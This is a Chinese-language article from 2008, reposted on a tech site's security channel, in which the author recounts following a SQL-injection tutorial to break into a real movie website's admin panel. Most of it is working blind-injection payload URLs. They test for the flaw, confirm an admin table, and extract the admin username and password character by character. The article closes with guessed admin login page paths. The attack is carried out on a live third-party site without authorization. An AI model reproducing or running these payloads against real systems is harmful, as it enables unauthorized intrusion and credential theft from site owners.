科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道初次使用SQL破解某电影网站的记录

初次使用SQL破解某电影网站的记录

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

首先下载:09月21日的SQL注入技术实例讲解,打开后是网页形式的,看过一次以后拿某网站VOD视频做了一下测试。

作者:晓菲 来源:黑基 2008年10月17日

关键字: SQL破解 Web安全

  • 评论
  • 分享微博
  • 分享邮件

  首先下载:09月21日的SQL注入技术实例讲解,打开后是网页形式的,看过一次以后拿某网站VOD视频做了一下测试。

  首先引用一下教程里的话:“SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 ”

  寻找目标,我寻找到了,这里就用www.xxx.com代替吧。

  打开一个电影地址,www.xxx.com/film/show.asp?id=271

  测试一下www.xxx.com/film/show.asp?id=271 and 1=1

  打开了  这步应该是测试可不可以用SQL注入攻击的一个验证吧,(不过我试的那个网站是可以SQL注入攻击的,我到不知道不可以SQL注入攻击会返回什么值)

  www.xxx.com/film/show.asp?id=271and 1=2没打开(在教程里面这个写成了_blank>http://www.bofei.net/film/show.asp?id=271 adn 1=2 希望管理员如果看到的话请改一下~~)

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin)这一步是查看是否存在ADMIN列表的,测试以后打开,说明ADMIN列表存在

  根据教程测试,测试密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5) 打不开,连接错误,后来跟教程一样试了8,结果也是错误,后来直接图方便把8改成了6,嘿嘿,还是错误,为啥?因为是>而不是=,后来试了几次都没有打开。郁闷了,想,是在哪出错的?后来从新看了一次教程,并把命令粘到了文本文档做比较,哦,原来应该是=,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)

  试了一下=以后,结果打开了,说明ADMIN的密码=6位 继续下一步。

  猜测用户名

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')

  直接套这步,没打开,后来苦思N久, 没看懂教程里面的意思,哎,先放着,继续下一步。

  寻找站长的名字,当时还是没大看懂这句,网站上N多地方都没有网站站长的名字之类的,继续下一步。

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)=''13月32日'')

  我试了次,当然打不开,2个站的站点ADMIN怎么能一样内,嘿嘿。当时没有理解这个的意思,我又继续了下一步。我虽然不理解这句的意思,但是我稍微知道,13月32日,就是站长的ID,(username,6)就是站长的名字=6位长的意思。(不知道这样理解对不对呀如果不对请指出)

  猜测密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')

  这步他直接猜测完了,他的密码是6位数,然后密码是100200,这步的步骤。

  第1步应该猜测第1位数的密码,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)=''1'')

  ''1'' 应该把这个''''号里的1,从0-9,A-Z试一次,如果失败,会打不开,直到成功了,就会正打开,而且没有错误提示。这句我只能理解括号里面的,(password,1)=''1'')这句理解成: 密码的第1位数=1

  试完第1个密码该试第2个密码了,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,2)=''10'')

  因为我已经站点第1个密码是1了所以不用动第1位数了,这次也是从0-9,A-Z试一次,这步完了就该第3步了,

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,3)=''100'')

  依次第6步就应该是

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')

  因为先前已经知道他的密码长度是6位了,然后他的管理员ID也依照这个方法来查

  www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')

  (username,1)=''1'') 这句理解成:第1个名字的是:1

  依次查出管理员名称,

  pass:如果管理员名字改成汉字,那半年也猜不错吧?不知道能不能用汉字?:(

  试出管理员密码,然后试登陆页面,3个地址

  www.xxx.com/film/adminlogin.asp

  www.xxx.com/film/login.asp

  www.xxx.com/film/admin/login.asp

  大概会应该有一个能进入的,然后用你刚才查到的管理员ID和PASSWORD进入。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章